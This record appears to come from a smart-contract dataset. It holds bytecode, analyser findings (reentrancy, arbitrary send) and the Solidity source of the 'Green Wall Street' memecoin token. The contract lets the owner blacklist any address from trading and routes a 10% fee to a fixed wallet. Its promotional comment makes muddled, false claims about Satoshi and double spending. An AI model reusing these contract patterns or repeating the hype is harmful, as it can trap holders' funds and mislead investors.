00073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613040565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f60565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90613000565b60405180910390fd5b61159f610fd3565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610fd3565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b601e42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610e2f565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f40565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fc0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b600a6008819055506014600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f80565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63601a836131a5565b9150612c6e826134cc565b602082019050919050565b6000612c86602a836131a5565b9150612c91826134f5565b604082019050919050565b6000612ca96022836131a5565b9150612cb482613544565b604082019050919050565b6000612ccc601b836131a5565b9150612cd782613593565b602082019050919050565b6000612cef601d836131a5565b9150612cfa826135bc565b602082019050919050565b6000612d126021836131a5565b9150612d1d826135e5565b604082019050919050565b6000612d356020836131a5565b9150612d4082613634565b602082019050919050565b6000612d586029836131a5565b9150612d638261365d565b604082019050919050565b6000612d7b6025836131a5565b9150612d86826136ac565b604082019050919050565b6000612d9e6024836131a5565b9150612da9826136fb565b604082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203d006ce028e5fe22c9bb2392886c6e2c8f18d8368086bbb2b519a8315164488664736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,252 |
0x2478912f82ade9d2b781e62dd522a5511d76d71c
|
/**
*Submitted for verification at Etherscan.io on 2022-05-02
*/
/*
Green Wall Street
Everything is a joke until its not….
Back in 2017, Warren Buffet said “"People get excited from big price movements, and Wall
Street accommodates... Stay away from bitcoin. It's a mirage, basically. The idea that it has
some huge intrinsic value is just a joke, in my view -- you can't value bitcoin because it's not a
value-producing asset."”
Wall Street has been the historic headquarters of some of the largest centralized global
brokerages and investment banks. Wall Street symbolizes the economic inequality and the
influence of money in politics which take advantage of asymmetric information of so called
financial professionals and the public.
Green Wall Street is dedicated to mark the era when Satoshi firstly established the idea of
bitcoin and decentralised economy. This was designed as the defense line to protect the
transaction of digital currency from the problem of double spending and a bunch of
inefficiencies which the fiat economy was unable to solve. A digital currency or token used to be
duplicated in multiple transactions and the construction of the Green Wall Street has
successfully enabled Satoshi to mitigate this traditional problem and fully challenge the
traditional financial system..
The token of Green Wall Street is designed to pay tribute to those who sacrifice and strong
followers who dedicate their life to fight the war against the disgusting Wall Street blood
suckers. Show your support and become part of the supporting community.
Telegram: https://t.me/greenwallstreetportal
Website: https://wallstreet.green
Twitter: https://twitter.com/GWSTOKEN
*/
pragma solidity ^0.8.6;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract GREENWALLSTREET is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1_000_000_000_000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet;
string private constant _name = "Green Wall Street";
string private constant _symbol = "GWS";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0x607AF51591790639D64CcB333E252E78DA718994);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 0;
_feeAddr2 = 10;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function changeMaxTxAmount(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function changeMaxWalletSize(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxWalletSize = _tTotal.mul(percentage).div(100);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function createPair() external onlyOwner(){
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 2e10 * 10**9;
_maxWalletSize = 2e10 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function nonosquare(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x60806040526004361061012e5760003560e01c806370a08231116100ab5780639e78fb4f1161006f5780639e78fb4f1461034d578063a9059cbb14610362578063b87f137a14610382578063c3c8cd80146103a2578063c9567bf9146103b7578063dd62ed3e146103cc57600080fd5b806370a08231146102af578063715018a6146102cf578063751039fc146102e45780638da5cb5b146102f957806395d89b411461032157600080fd5b8063273123b7116100f2578063273123b71461021e578063313ce5671461023e5780635932ead11461025a578063677daa571461027a5780636fc3eaec1461029a57600080fd5b806306fdde031461013a578063095ea7b31461018657806318160ddd146101b65780631b3f71ae146101dc57806323b872dd146101fe57600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060408051808201909152601181527011dc99595b8815d85b1b0814dd1c99595d607a1b60208201525b60405161017d9190611a3e565b60405180910390f35b34801561019257600080fd5b506101a66101a13660046118c5565b610412565b604051901515815260200161017d565b3480156101c257600080fd5b50683635c9adc5dea000005b60405190815260200161017d565b3480156101e857600080fd5b506101fc6101f73660046118f1565b610429565b005b34801561020a57600080fd5b506101a6610219366004611884565b6104c8565